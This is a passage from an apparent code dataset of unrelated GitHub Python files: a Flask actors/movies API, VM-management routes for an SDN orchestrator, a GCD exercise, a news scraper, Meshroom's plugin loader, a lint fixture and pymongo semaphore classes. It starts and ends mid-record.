abort(400)\n try:\n new_actor = Actor(\n name=str(\n data['name']), age=data['age'], gender=str(\n data['gender']))\n new_actor.insert()\n return jsonify({\n 'success': True, 'data': new_actor.format()\n })\n except BaseException:\n abort(422)\n\n @app.route('/actors/', methods=['PATCH'])\n @requires_auth('patch:actors')\n def patch_actors(jwt, actor_id):\n data = request.get_json()\n actor = Actor.query.filter(Actor.id == actor_id).one_or_none()\n if data is None:\n abort(404)\n old_data = actor.format()\n if 'name' in data:\n if len(str(data['name']).strip()) == 0:\n abort(400)\n actor.name = data['name']\n if 'age' in data:\n try:\n if int(data['age']) <= 0:\n abort(400)\n except BaseException:\n abort(400)\n actor.age = data['age']\n if 'gender' in data:\n actor.gender = data['gender']\n if 'movies' in data:\n actor.movies = data['movies']\n try:\n actor.update()\n return jsonify({'success': True,\n 'previous_data': old_data,\n 'data': [actor.format()]})\n except BaseException:\n abort(422)\n\n @app.route('/movies/', methods=['PATCH'])\n @requires_auth('patch:movies')\n def patch_movies(jwt, movie_id):\n data = request.get_json()\n movie = Movie.query.filter(Movie.id == movie_id).one_or_none()\n if movie is None:\n abort(404)\n old_data = movie.format()\n if 'title' in data:\n if len(str(data['title']).strip()) == 0:\n abort(400)\n else:\n movie.title = data['title']\n if 'release_date' in data:\n movie.release_date = data['release_date']\n if 'actors' in data:\n movie.actors = data['actors']\n try:\n movie.update()\n return jsonify({'success': True,\n 'previous_data': old_data,\n 'data': [movie.format()]})\n except BaseException:\n abort(422)\n\n @app.errorhandler(422)\n def unprocessable(error):\n return jsonify({\n \"success\": False,\n \"error\": 422,\n \"message\": \"unprocessable\"\n }), 422\n\n @app.errorhandler(404)\n def notfound(error):\n return jsonify({\n \"success\": False,\n \"error\": 404,\n \"message\": \"not found\"\n }), 404\n\n @app.errorhandler(400)\n def bad_request(error):\n return jsonify({\n 'success': False, 'error': 400, 'message': 'bad request'\n }), 400\n\n @app.errorhandler(500)\n def internal_server_error(error):\n return jsonify({\n 'success': False, 'error': 500, 'message': 'internal server error'\n }), 500\n\n @app.errorhandler(AuthError)\n def autherror(AuthError):\n return jsonify({\n \"success\": False,\n \"error\": AuthError.status_code,\n \"message\": AuthError.error['description']\n }), AuthError.status_code\n\n return app\n\n\napp = create_app()\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8080, debug=True)\n","repo_name":"mesangue/capstone-agency","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4900031853","text":"from flask import Blueprint, request, render_template, abort, jsonify\nfrom jinja2 import TemplateNotFound\nfrom web.backend.zmq_web import call_ucpe_function\nimport os\nimport math\nimport time\nimport subprocess\nfrom multiprocessing import Process\nfrom threading import Thread\nimport pexpect\nfrom pexpect import popen_spawn\nfrom web.backend.grpc.grpc_routes import ovs_add_port_helper, ovs_del_port_helper\n#from ucpe.libvirt_controller.utils import ovs_interface_names_from_vm_name\n\nvm_routes = Blueprint('vms', __name__)\n\nMETHOD_PREFIX = 'libvirt_controller_'\nHOST_IP = '10.10.81.100' # todo: ask tyler for the bridge ip\nHOST_USERNAME = 'potato' # todo: remove the need for this (ask if one account per ucpe)\nJSON_RPC_VERSION = '2.0'\nJSON_RPC_ID = 0 # todo: ask tyler what id to put\n\nIMAGE_ACTIVE_PATH = '/var/third-party/active'\n# todo: put these in a database\n# IMAGE_FILES = {\n# 'Vyatta Router': 'vyatta.qcow2',\n# 'Ubuntu 16.04': 'ubuntu_16.qcow2',\n# 'Cloud Storage': 'storage.qcow2',\n# 'Online Behavior Management': 'monitor.qcow2'\n# }\n\nIMAGE_FILE_INFO = {\n 'Vyatta Router': {'name': 'Vyatta Router', 'filename': 'vyatta.qcow2', 'filesize': '0.4 GB', 'class': 'Router',\n 'description': 'Vyatta has a competitive set of advanced routing and security features. The major features include: IPv4 IPv6 routing with RIPv2, OSPFv3, and BGP4 dynamic routing protocols; DHCP server/client; 802.1Q VLANs; WAN support with DSL, T1/E1 and T3 cards, LAN connectivity support to 10GbE, WAN link load balancing, VoIP QoS, stateful inspection firewall, site-to-site IPsec VPN, SSL VPN, Intrusion Prevention, Web Filtering, NAT, RADIUS and TACACS+ authentication, VMware and Xen Optimization, VRRP, SNMP, Familiar CLI and web GUI management, Remote Access API for management and configuration, and more. ',\n 'os': 'VyOS'},\n # http://www.zycko.com/download/187.pdf\n 'Ubuntu 16.04': {'name': 'Ubuntu 16.04', 'filename': 'ubuntu_16.qcow2', 'filesize': '1.7 GB', 'class': 'Generic',\n 'description': 'A free and open-source Linux distribution based on Debian.',\n 'os': 'Ubuntu 16.04'\n },\n 'Cloud Storage': {'name': 'Cloud Storage', 'filename': 'storage.qcow2', 'filesize': '8.9 GB', 'class': 'Storage',\n 'description': 'An AT&T open-source VNF for deduplicated cloud storage.',\n 'os': 'Ubuntu 18.04'},\n 'Online Behavior Management': {'name': 'Online Behavior Management', 'filename': 'monitor.qcow2', 'filesize': '1.4 GB', 'class': 'Monitor',\n 'description': 'An AT&T open-source VNF for traffic monitoring and deep packet inspection (DPI)-based traffic control.',\n 'os': 'Ubuntu 18.04'\n }\n}\n\n\ndef get_method(method_suffix):\n return METHOD_PREFIX + method_suffix\n\n\ndef get_message_data(method_suffix, body):\n return {\"method\": get_method(method_suffix), \"params\": {\"body\": body}, 'jsonrpc': JSON_RPC_VERSION,\n 'id': JSON_RPC_ID}\n\n\n@vm_routes.route('/all_vm_info//')\ndef all_vm_info(controller_id, ucpe_sn):\n method = 'get_all_vm_info'\n body = {\"username\": HOST_USERNAME, \"hostname\": HOST_IP}\n message_data = get_message_data(method, body)\n response = call_ucpe_function(message_data, controller_id, ucpe_sn)\n rename_images(response)\n return jsonify(response)\n\n\ndef imagefile_dict(image_info_dictionary):\n filename_key = 'filename'\n return {image_info_dictionary[key][filename_key]: key for key in image_info_dictionary}\n\n\ndef rename_images(response):\n reverse_image_dict = imagefile_dict(IMAGE_FILE_INFO)\n info_dict = response['result']['return']\n for vm_name in info_dict:\n image = info_dict[vm_name]['image'] + \".qcow2\"\n if image in reverse_image_dict:\n info_dict[vm_name]['image'] = reverse_image_dict[image]\n\n\n@vm_routes.route('/start_or_resume_selected_vms//', methods=['POST'])\ndef start_or_resume_selected_vms(controller_id, ucpe_sn):\n method = 'start_or_resume_vms'\n return _handle_state_change(method, controller_id, ucpe_sn)\n\n\n@vm_routes.route('/pause_selected_vms//', methods=['POST'])\ndef pause_selected_vms(controller_id, ucpe_sn):\n method = 'suspend_vms'\n return _handle_state_change(method, controller_id, ucpe_sn)\n\n\n@vm_routes.route('/kill_selected_vms//', methods=['POST'])\ndef kill_selected_vms(controller_id, ucpe_sn):\n method = 'destroy_vms'\n return _handle_state_change(method, controller_id, ucpe_sn)\n\n\n@vm_routes.route('/delete_selected_vms//', methods=['POST'])\ndef delete_selected_vms(controller_id, ucpe_sn):\n method = 'delete_vms'\n ovs_interface_deletion_threads = []\n vms = request.get_json()['vm_names']\n for vm_name in vms:\n ovs_interface_deletion_threads.append(Thread(target=ovs_del_port_helper, args=(vm_name,)))\n for thread in ovs_interface_deletion_threads:\n thread.start()\n out = _handle_state_change(method, controller_id, ucpe_sn)\n for thread in ovs_interface_deletion_threads:\n thread.join()\n return out\n\n\ndef _handle_state_change(method, controller_id, ucpe_sn):\n data = request.get_json()\n body = {\"username\": HOST_USERNAME, \"hostname\": HOST_IP, \"vm_names\": data[\"vm_names\"]}\n message_data = get_message_data(method, body)\n response = call_ucpe_function(message_data, controller_id, ucpe_sn)\n return jsonify(response)\n\n\n@vm_routes.route('/create_vm//', methods=['POST'])\ndef create_vm(controller_id, ucpe_sn):\n # precondition: it must be possible to create a vm from the given parameters (sufficient memory, hugepage memory, etc)\n method = 'define_vm_from_params'\n data = request.get_json()\n # TODO: database for image paths\n form = data[\"form\"]\n UNTAGGED_VLAN_INDICATOR = '0' #magic string - this is REALLLY bad - fix in grpc api\n vlans = [interface['vlan'] for interface in form['vmOVSInterfaceVLANs']]\n for i in range(len(vlans)):\n if vlans[i] == '':\n vlans[i] = UNTAGGED_VLAN_INDICATOR # todo: change this to a map\n create_vm_ovs_interfaces(form['vmName'], int(form['vmOVSInterfaceCount']), vlans)\n image_file = IMAGE_FILE_INFO[form['vmImage']]['filename']\n image_path = os.path.join(IMAGE_ACTIVE_PATH, form['vmName'], image_file)\n body = {\n \"username\": HOST_USERNAME,\n \"hostname\": HOST_IP,\n \"vm_name\": form['vmName'],\n \"vm_image_path\": image_path,\n \"vm_memory\": parseMemoryGB(form['vmMemory']),\n \"vm_vcpu_count\": form['vmCPUs'],\n \"vm_use_hugepages\": form['hugepagesEnabled'],\n \"vm_hugepage_memory\": parseMemoryGB(form['vmHugepageMemory']),\n \"vm_ovs_interface_count\": int(form['vmOVSInterfaceCount']),\n }\n if form['vmBridge'] != 'No Bridge':\n body['vm_bridge_name'] = form['vmBridge']\n message_data = get_message_data(method, body)\n response = call_ucpe_function(message_data, controller_id, ucpe_sn)\n return jsonify(response)\n\n\ndef create_vm_ovs_interfaces(vm_name, number_of_interfaces, vlans):\n interface_names = ovs_interface_names_from_vm_name(vm_name, number_of_interfaces)\n # create them by calling jesse's thing\n interface_type = 'dpdkvhostuser'\n threads = []\n for index, interface in enumerate(interface_names):\n # todo: this is really bad - interface_names must be in order eth0, eth1, ... (interface_names, vlans are 2 parallel arrays- bad pattern)\n # threads.append(Thread(ovs_add_port(interface, interface_type)))\n threads.append(\n Thread(target=ovs_add_port_helper, args=(interface, interface_type, vlans[index]))) # todo: change\n for thread in threads:\n thread.start()\n for thread in threads:\n thread.join()\n return\n\n\n@vm_routes.route('/images//')\ndef get_vm_images(controller_id, ucpe_sn):\n return jsonify({\"images\": sorted(IMAGE_FILE_INFO.keys())})\n\n\n@vm_routes.route('/image_info//')\ndef get_vm_image_info(controller_id, ucpe_sn):\n return jsonify(IMAGE_FILE_INFO)\n\n\nglobal vnc_process\nvnc_subprocess = None\n\n\n@vm_routes.route('/console///')\ndef prepare_vm_console(controller_id, ucpe_sn, vm_name):\n get_vnc_port_method = 'get_vm_vnc_port'\n body = {\"username\": HOST_USERNAME, \"hostname\": HOST_IP, 'vm_name': vm_name}\n message_data = get_message_data(get_vnc_port_method, body)\n response = call_ucpe_function(message_data, controller_id, ucpe_sn)\n print(response)\n ucpe_vnc_port = response['result']['return']\n\n # if vnc_process is not None:\n # vnc_process.terminate()\n # print(\"terminating\")\n # todo: error handling\n # vnc_process = Process(target = prepare_vm_console_helper, args=(HOST_IP, vnc_port))\n # vnc_process.start()\n local_vnc_port = 6080\n kill_subprocess = pexpect.spawn(f'fuser -k {local_vnc_port}/tcp',\n timeout=None) # timeout=None means wait indefinitely\n # kill_subprocess.expect(f'{local_vnc_port}/tcp')\n # kill_subprocess.expect(f'{local_vnc_port}')\n # print('before', kill_subprocess.before)\n # print('after', kill_subprocess.after)\n # print(\"starting sleep\")\n time.sleep(3) # todo: remove the need for this\n # print(\"ending sleep\")\n # result = prepare_vm_console_helper(HOST_IP, vnc_port)\n prepare_vm_console_helper(HOST_IP, ucpe_vnc_port, local_vnc_port)\n return jsonify(result=\"attempted to start vnc console\", warning=\"no error handling\") # todo: error handling\n\n\ndef prepare_vm_console_helper(hostname, ucpe_vnc_port, local_vnc_port):\n try:\n def launch_console():\n launch_script_path = '../../utilities/novnc/utils/launch.sh'\n vnc_subprocess = pexpect.spawn(f'{launch_script_path} --vnc {hostname}:{ucpe_vnc_port}',\n timeout=None) # timeout=None means wait indefinitely\n vnc_subprocess.expect(f'{local_vnc_port}/vnc.html') # blocks until 6080/vnc.html appears in terminal todo: find appropriate string to expect\n vnc_subprocess.read() # blocks forever\n Thread(target=launch_console).start()\n return \"success\"\n except:\n return \"failure\"\n\n\ndef parseMemoryGB(memoryStr):\n return int(memoryStr.split(\" \")[0])\n\n\n# test\nif __name__ == '__main__':\n # print(create_vm_ovs_interfaces('test_run', 1))\n # print(ovs_add_port('test_port_roger', 'dpdkvhostuser' ))\n print()\n","repo_name":"AnEscapist/sdn-orchestrator","sub_path":"web/backend/vms/vm_routes.py","file_name":"vm_routes.py","file_ext":"py","file_size_in_byte":10608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31128002514","text":" # This is also knows as HCF\n\ndef gcd(a,b): # b is reminder\n assert int(a)==a and int(b)==b,\"Number Should be Integers\"\n if a<0:\n a = -1 * a\n elif b<0:\n b = -1 * b\n elif b==0:\n return a\n else:\n return gcd(b,a%b)\nprint(gcd(48,18))\n\n\n# With the help of Modules\n\n# import math\n# a=math.gcd(48,18)\n# print(a)\n\n\n# LCM :- Lowest common Multiple\n\n# def Compute_LCM(num1, num2):\n# if num1 > num2:\n# higher = num1\n# else:\n# higher = num2\n# value = higher\n#\n# while True:\n# if higher % num1 == 0 and higher % num2 == 0:\n# print(\"LCM of \", num1, \" and \", num2, \" is \", higher)\n# break\n# else:\n# higher = higher + value\n#\n# num1 = int(input(\"Enter First the Number: \"))\n# num2 = int(input(\"Enter Second the Number: \"))\n#\n# print(Compute_LCM(num1, num2))","repo_name":"harshitsingh20/PythonNotes-All-Program-","sub_path":"205 DSA GCD (Recursion).py","file_name":"205 DSA GCD (Recursion).py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"25201663606","text":"#import mongo\r\nimport pymongo\r\nfrom pymongo import MongoClient\r\n\r\ndef view():\r\n c = MongoClient()\r\n db=c[\"mydatabase\"]\r\n article = db.articles\r\n #for post in article.find_on('score':)\r\n document = article.find_one()\r\n return document\r\n\r\nview()\r\n#insert(\"The Sun\",\"John Smith\",1918,913123132)\r\n#delete(3)\r\n#update(4,\"The moon\",\"John Smooth\",1917,99999)\r\n#print(view())\r\n#print(search(author=\"John Smooth\"))\r\n","repo_name":"savs33/Positive-News-Sentiment-Analysis-from-Scrapped-Newspaper-Data-","sub_path":"backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26281289545","text":"from typing import List\n\nimport httpx\nfrom fastapi import APIRouter, Depends, HTTPException\n\nimport settings\n\nfrom .models import FizzBuzz as FizzBuzzModel\nfrom .views import get_fizzbuzz as get_fizzbuzz_view, list_fizzbuzz as list_fizzbuzz_view\n\n# APIRouter creates path operations for item module\nrouter = APIRouter(\n prefix=\"/fizzbuzz\",\n tags=[\"fizzbuzz\"],\n responses={404: {\"description\": \"Not found\"}},\n)\n\n\n@router.get(\n \"/list\",\n status_code=200,\n response_model=List[FizzBuzzModel],\n)\nasync def get_list():\n url = settings.LIST_EDNPOINT\n return await list_fizzbuzz_view(url)\n\n\n@router.get(\n \"/{fizzbuzz_id}\",\n status_code=200,\n response_model=FizzBuzzModel,\n)\nasync def get_fizzbuzz(fizzbuzz_id: int):\n url = settings.GET_EDNPOINT.format(fizzbuzz_id=fizzbuzz_id)\n return await get_fizzbuzz_view(url)\n\n","repo_name":"saeedghx68/dayrize","sub_path":"fizzbuzz/fizzbuzz_api.py","file_name":"fizzbuzz_api.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71776776054","text":"\r\n#coding:utf-8\r\nimport time\r\nimport requests\r\nimport json\r\nimport re\r\n\r\nclass Requirement_set:\r\n '''\r\n 这里面存的是用户需要内容的方法,其中函数形参解释如下:\r\n nwes:指的是用户目标要求的最终新闻集——>dict\r\n item:网页端获取的独条数据——>dict\r\n '''\r\n @staticmethod\r\n def user_want_web(nwes,item):\r\n nwes['网址'] = item['url']\r\n @staticmethod\r\n def user_want_title(nwes,item):\r\n nwes['标题'] = item['title']\r\n @staticmethod\r\n def user_want_keywords(nwes,item):\r\n nwes['关键词'] = item['keywords']\r\n @staticmethod\r\n def user_want_time(nwes,item):\r\n nwes['新闻时间'] = time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime(int(item['ctime'])))\r\n @staticmethod\r\n def user_want_intro(nwes,item):\r\n nwes['新闻概述'] = item['intro']\r\n\r\nclass User_require:\r\n _user_require = {'w':Requirement_set.user_want_web,\r\n 'h':Requirement_set.user_want_title,\r\n 'k':Requirement_set.user_want_keywords,\r\n 't':Requirement_set.user_want_time,\r\n 'i':Requirement_set.user_want_intro}\r\n def __init__(self,item,user_wan_require='ht'):\r\n self._nwes={}\r\n self.item=item\r\n self.user_want_require=user_wan_require\r\n\r\n def add_nwes(self):\r\n for i in self.user_want_require:\r\n if i in self._user_require:\r\n self._user_require[i](self._nwes,self.item)\r\n return self._nwes\r\n\r\ndef sina_news_get(data_counts,user_want_data):\r\n '''\r\n\r\n :param data_counts: 用户希望的数据量\r\n :param user_want_data: 用户希望的关键词\r\n :return: 根据用户输入的关键词,选择信息\r\n '''\r\n if re.match(r'\\D',data_counts) or re.search(r'[^whkti]',user_want_data):\r\n return -1\r\n user_want_nwes=[]\r\n page=1\r\n while True:\r\n url = f\"https://feed.mix.sina.com.cn/api/roll/get?pageid=153&lid=2509&k=&num=50&page={page}\"\r\n headers = {\r\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \"\r\n \"Chrome/58.0.3029.110 Safari/537.3\"\r\n }\r\n response = requests.get(url, headers=headers)\r\n data = json.loads(response.text)\r\n if page==1:\r\n user_want_nwes.append({'当前获取新闻时间':data['result']['timestamp']})\r\n for item in data['result']['data']:\r\n if 'url' in item and 'title' in item and 'keywords' in item and 'ctime' in item and 'intro' in item:\r\n nwes=User_require(item,user_want_data)\r\n user_want_nwes.append(nwes.add_nwes())\r\n if len(user_want_nwes)-1 == int(data_counts):\r\n return user_want_nwes\r\n else:\r\n page+=1\r\n\r\n\r\n\r\n\r\n","repo_name":"Algeme/NewsGet","sub_path":"web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18408014633","text":"from __future__ import print_function\n\nimport hashlib\nfrom contextlib import contextmanager\nimport importlib\nimport inspect\nimport os\nimport re\nimport tempfile\nimport uuid\nimport logging\nimport pkgutil\n\nimport sys\n\ntry:\n # for cx_freeze\n import encodings.ascii\n import encodings.idna\n import encodings.utf_8\nexcept:\n pass\n\nfrom meshroom.core.submitter import BaseSubmitter\nfrom . import desc\n\n# Setup logging\nlogging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', level=logging.INFO)\n\n# make a UUID based on the host ID and current time\nsessionUid = str(uuid.uuid1())\n\ncacheFolderName = 'MeshroomCache'\ndefaultCacheFolder = os.environ.get('MESHROOM_CACHE', os.path.join(tempfile.gettempdir(), cacheFolderName))\nnodesDesc = {}\nsubmitters = {}\npipelineTemplates = {}\n\n\ndef hashValue(value):\n \"\"\" Hash 'value' using sha1. \"\"\"\n hashObject = hashlib.sha1(str(value).encode('utf-8'))\n return hashObject.hexdigest()\n\n\n@contextmanager\ndef add_to_path(p):\n import sys\n old_path = sys.path\n sys.path = sys.path[:]\n sys.path.insert(0, p)\n try:\n yield\n finally:\n sys.path = old_path\n\n\ndef loadPlugins(folder, packageName, classType):\n \"\"\"\n \"\"\"\n\n pluginTypes = []\n errors = []\n\n # temporarily add folder to python path\n with add_to_path(folder):\n # import node package\n package = importlib.import_module(packageName)\n packageName = package.packageName if hasattr(package, 'packageName') else package.__name__\n packageVersion = getattr(package, \"__version__\", None)\n\n for importer, pluginName, ispkg in pkgutil.iter_modules(package.__path__):\n pluginModuleName = '.' + pluginName\n\n try:\n pluginMod = importlib.import_module(pluginModuleName, package=package.__name__)\n plugins = [plugin for name, plugin in inspect.getmembers(pluginMod, inspect.isclass)\n if plugin.__module__ == '{}.{}'.format(package.__name__, pluginName)\n and issubclass(plugin, classType)]\n if not plugins:\n logging.warning(\"No class defined in plugin: {}\".format(pluginModuleName))\n\n importPlugin = True\n for p in plugins:\n if classType == desc.Node:\n nodeErrors = validateNodeDesc(p)\n if nodeErrors:\n errors.append(\" * {}: The following parameters do not have valid default values/ranges: {}\"\n .format(pluginName, \", \".join(nodeErrors)))\n importPlugin = False\n break\n p.packageName = packageName\n p.packageVersion = packageVersion\n if importPlugin:\n pluginTypes.extend(plugins)\n except Exception as e:\n errors.append(' * {}: {}'.format(pluginName, str(e)))\n\n if errors:\n logging.warning('== The following \"{package}\" plugins could not be loaded ==\\n'\n '{errorMsg}\\n'\n .format(package=packageName, errorMsg='\\n'.join(errors)))\n return pluginTypes\n\n\ndef validateNodeDesc(nodeDesc):\n \"\"\"\n Check that the node has a valid description before being loaded. For the description\n to be valid, the default value of every parameter needs to correspond to the type\n of the parameter.\n An empty returned list means that every parameter is valid, and so is the node's description.\n If it is not valid, the returned list contains the names of the invalid parameters. In case\n of nested parameters (parameters in groups or lists, for example), the name of the parameter\n follows the name of the parent attributes. For example, if the attribute \"x\", contained in group\n \"group\", is invalid, then it will be added to the list as \"group:x\".\n\n Args:\n nodeDesc (desc.Node): description of the node\n\n Returns:\n errors (list): the list of invalid parameters if there are any, empty list otherwise\n \"\"\"\n errors = []\n\n for param in nodeDesc.inputs:\n err = param.checkValueTypes()\n if err:\n errors.append(err)\n\n for param in nodeDesc.outputs:\n err = param.checkValueTypes()\n if err:\n errors.append(err)\n\n return errors\n\n\nclass Version(object):\n \"\"\"\n Version provides convenient properties and methods to manipulate and compare versions.\n \"\"\"\n\n def __init__(self, *args):\n \"\"\"\n Args:\n *args (convertible to int): version values\n \"\"\"\n if len(args) == 0:\n self.components = tuple()\n self.status = str()\n elif len(args) == 1:\n versionName = args[0]\n if isinstance(versionName, str):\n self.components, self.status = Version.toComponents(versionName)\n elif isinstance(versionName, (list, tuple)):\n self.components = tuple([int(v) for v in versionName])\n self.status = str()\n else:\n raise RuntimeError(\"Version: Unsupported input type.\")\n else:\n self.components = tuple([int(v) for v in args])\n self.status = str()\n\n def __repr__(self):\n return self.name\n\n def __neg__(self):\n return not self.name\n\n def __len__(self):\n return len(self.components)\n\n def __eq__(self, other):\n \"\"\"\n Test equality between 'self' with 'other'.\n\n Args:\n other (Version): the version to compare to\n\n Returns:\n bool: whether the versions are equal\n \"\"\"\n return self.name == other.name\n\n def __lt__(self, other):\n \"\"\"\n Test 'self' inferiority to 'other'.\n\n Args:\n other (Version): the version to compare to\n\n Returns:\n bool: whether self is inferior to other\n \"\"\"\n return self.components < other.components\n\n def __le__(self, other):\n \"\"\"\n Test 'self' inferiority or equality to 'other'.\n\n Args:\n other (Version): the version to compare to\n\n Returns:\n bool: whether self is inferior or equal to other\n \"\"\"\n return self.components <= other.components\n\n @staticmethod\n def toComponents(versionName):\n \"\"\"\n Split 'versionName' as a tuple of individual components, including its status if\n there is any.\n\n Args:\n versionName (str): version name\n\n Returns:\n tuple of int, string: split version numbers, status if any (or empty string)\n \"\"\"\n if not versionName:\n return (), str()\n\n status = str()\n # If there is a status, it is placed after a \"-\"\n splitComponents = versionName.split(\"-\", maxsplit=1)\n if (len(splitComponents) > 1): # If there is no status, splitComponents is equal to [versionName]\n status = splitComponents[-1]\n return tuple([int(v) for v in splitComponents[0].split(\".\")]), status\n\n @property\n def name(self):\n \"\"\" Version major number. \"\"\"\n return \".\".join([str(v) for v in self.components])\n\n @property\n def major(self):\n \"\"\" Version major number. \"\"\"\n return self.components[0]\n\n @property\n def minor(self):\n \"\"\" Version minor number. \"\"\"\n if len(self) < 2:\n return 0\n return self.components[1]\n\n @property\n def micro(self):\n \"\"\" Version micro number. \"\"\"\n if len(self) < 3:\n return 0\n return self.components[2]\n\n\ndef moduleVersion(moduleName, default=None):\n \"\"\" Return the version of a module indicated with '__version__' keyword.\n\n Args:\n moduleName (str): the name of the module to get the version of\n default: the value to return if no version info is available\n\n Returns:\n str: the version of the module\n \"\"\"\n return getattr(sys.modules[moduleName], \"__version__\", default)\n\n\ndef nodeVersion(nodeDesc, default=None):\n \"\"\" Return node type version for the given node description class.\n\n Args:\n nodeDesc (desc.Node): the node description class\n default: the value to return if no version info is available\n\n Returns:\n str: the version of the node type\n \"\"\"\n return moduleVersion(nodeDesc.__module__, default)\n\n\ndef registerNodeType(nodeType):\n \"\"\" Register a Node Type based on a Node Description class.\n\n After registration, nodes of this type can be instantiated in a Graph.\n \"\"\"\n global nodesDesc\n if nodeType.__name__ in nodesDesc:\n raise RuntimeError(\"Node Desc {} is already registered.\".format(nodeType.__name__))\n nodesDesc[nodeType.__name__] = nodeType\n\n\ndef unregisterNodeType(nodeType):\n \"\"\" Remove 'nodeType' from the list of register node types. \"\"\"\n global nodesDesc\n assert nodeType.__name__ in nodesDesc\n del nodesDesc[nodeType.__name__]\n\n\ndef loadNodes(folder, packageName):\n return loadPlugins(folder, packageName, desc.Node)\n\n\ndef loadAllNodes(folder):\n global nodesDesc\n for importer, package, ispkg in pkgutil.walk_packages([folder]):\n if ispkg:\n nodeTypes = loadNodes(folder, package)\n for nodeType in nodeTypes:\n registerNodeType(nodeType)\n logging.debug('Nodes loaded [{}]: {}'.format(package, ', '.join([nodeType.__name__ for nodeType in nodeTypes])))\n\n\ndef registerSubmitter(s):\n global submitters\n if s.name in submitters:\n raise RuntimeError(\"Submitter {} is already registered.\".format(s.name))\n submitters[s.name] = s\n\n\ndef loadSubmitters(folder, packageName):\n return loadPlugins(folder, packageName, BaseSubmitter)\n\n\ndef loadPipelineTemplates(folder):\n global pipelineTemplates\n for file in os.listdir(folder):\n if file.endswith(\".mg\") and file not in pipelineTemplates:\n pipelineTemplates[os.path.splitext(file)[0]] = os.path.join(folder, file)\n\nmeshroomFolder = os.path.dirname(os.path.dirname(__file__))\n\nadditionalNodesPath = os.environ.get(\"MESHROOM_NODES_PATH\", \"\").split(os.pathsep)\n# filter empty strings\nadditionalNodesPath = [i for i in additionalNodesPath if i]\n\n# Load plugins:\n# - Nodes\nnodesFolders = [os.path.join(meshroomFolder, 'nodes')] + additionalNodesPath\n\nfor f in nodesFolders:\n loadAllNodes(folder=f)\n\n# - Submitters\nsubs = loadSubmitters(os.environ.get(\"MESHROOM_SUBMITTERS_PATH\", meshroomFolder), 'submitters')\n\nfor sub in subs:\n registerSubmitter(sub())\n\n# Load pipeline templates: check in the default folder and any folder the user might have\n# added to the environment variable\nadditionalPipelinesPath = os.environ.get(\"MESHROOM_PIPELINE_TEMPLATES_PATH\", \"\").split(os.pathsep)\nadditionalPipelinesPath = [i for i in additionalPipelinesPath if i]\npipelineTemplatesFolders = [os.path.join(meshroomFolder, 'pipelines')] + additionalPipelinesPath\n\nfor f in pipelineTemplatesFolders:\n loadPipelineTemplates(f)\n","repo_name":"alicevision/Meshroom","sub_path":"meshroom/core/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":11061,"program_lang":"python","lang":"en","doc_type":"code","stars":10013,"dataset":"github-code","pt":"21"} +{"seq_id":"41726263490","text":"import typing\nimport sys\nfrom typing import TypeAlias\n\n\n_UnusedPrivateTypeAlias: TypeAlias = int | None\n_T: typing.TypeAlias = str\n\n# OK\n_UsedPrivateTypeAlias: TypeAlias = int | None\n\ndef func(arg: _UsedPrivateTypeAlias) -> _UsedPrivateTypeAlias:\n ...\n\n\nif sys.version_info > (3, 9):\n _PrivateTypeAlias: TypeAlias = str | None\nelse:\n _PrivateTypeAlias: TypeAlias = float | None\n\n\ndef func2(arg: _PrivateTypeAlias) -> None: ...\n","repo_name":"astral-sh/ruff","sub_path":"crates/ruff/resources/test/fixtures/flake8_pyi/PYI047.py","file_name":"PYI047.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"es","doc_type":"code","stars":20375,"dataset":"github-code","pt":"21"} +{"seq_id":"15937037121","text":"\nimport threading\ntry:\n from time import monotonic as _time\nexcept ImportError:\n from time import time as _time\nfrom pymongo.monotonic import time as _time\nfrom pymongo.errors import ExceededMaxWaiters\nclass Semaphore:\n def __init__(self, value=1):\n if value < 0:\n raise ValueError(\"semaphore initial value must be >= 0\")\n self._cond = threading.Condition(threading.Lock())\n self._value = value\n def acquire(self, blocking=True, timeout=None):\n if not blocking and timeout is not None:\n raise ValueError(\"can't specify timeout for non-blocking acquire\")\n rc = False\n endtime = None\n self._cond.acquire()\n while self._value == 0:\n if not blocking:\n break\n if timeout is not None:\n if endtime is None:\n endtime = _time() + timeout\n else:\n timeout = endtime - _time()\n if timeout <= 0:\n break\n self._cond.wait(timeout)\n else:\n self._value = self._value - 1\n rc = True\n self._cond.release()\n return rc\n __enter__ = acquire\n def release(self):\n self._cond.acquire()\n self._value = self._value + 1\n self._cond.notify()\n self._cond.release()\n def __exit__(self, t, v, tb):\n self.release()\n @property\n def counter(self):\n return self._value\nclass BoundedSemaphore(Semaphore):\n def __init__(self, value=1):\n Semaphore.__init__(self, value)\n self._initial_value = value\n def release(self):\n if self._value >= self._initial_value:\n raise ValueError(\"Semaphore released too many times\")\n return Semaphore.release(self)\nclass DummySemaphore(object):\n def __init__(self, value=None):\n pass\n def acquire(self, blocking=True, timeout=None):\n return True\n def release(self):\n pass\nclass MaxWaitersBoundedSemaphore(object):\n def __init__(self, semaphore_class, value=1, max_waiters=1):\n self.waiter_semaphore = semaphore_class(max_waiters)\n self.semaphore = semaphore_class(value)\n def acquire(self, blocking=True, timeout=None):\n if not self.waiter_semaphore.acquire(False):\n raise ExceededMaxWaiters()\n try:\n return self.semaphore.acquire(blocking, timeout)\n finally:\n self.waiter_semaphore.release()\n def __getattr__(self, name):\n return getattr(self.semaphore, name)\nclass 